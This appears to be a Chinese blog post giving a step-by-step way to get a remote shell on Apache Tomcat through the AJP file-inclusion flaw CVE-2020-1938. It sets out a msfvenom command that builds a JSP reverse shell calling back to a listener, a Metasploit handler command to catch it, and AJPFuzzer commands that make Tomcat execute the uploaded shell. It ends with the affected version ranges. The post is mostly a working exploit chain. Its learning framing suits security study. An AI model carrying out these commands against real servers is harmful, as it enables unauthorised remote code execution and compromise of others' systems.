CVE-2020-1938 远程代码执行利用思路

2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

读取服务器webapp下的任意文件的POC网上太多了,这里就跳过。学习一下拿shell的思路。

前提条件:

能上传jsp之类的脚本文件到服务器(文件名后缀不限),文件目录知道,且在web目录下。

1 准备利用的jsp文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.jsp 

假设shell.jsp 文件成功被我上传到了 web目录的 attachments 文件夹下。

(实测在jpg里藏代码,后缀用jpg不行,用jsp就可以)

2 msf监听shell

 msfconsole -q -x  'handler -H 0.0.0.0 -P 4444 -p linux/x86/shell/reverse_tcp'

3 利用

下载 ajpfuzzer_v0.6.jar

java -jar .\ajpfuzzer_v0.6.jar
AJPFuzzer> connect 192.168.1.111 8009
AJPFuzzer/192.168.1.111:8009> forwardrequest 2 "HTTP/1.1" "/attachments/shell.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" ""

获取了shell。
原因是:当ajp URI设置为jsp路径时,Tomcat会调用JspServlet的service方法处理。
具体请参考别人的分析:

https://mp.weixin.qq.com/s/v3EQw4xaE4QTbvEwkfHz9w

影响范围
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

Leave a Reply

Your email address will not be published. Required fields are marked *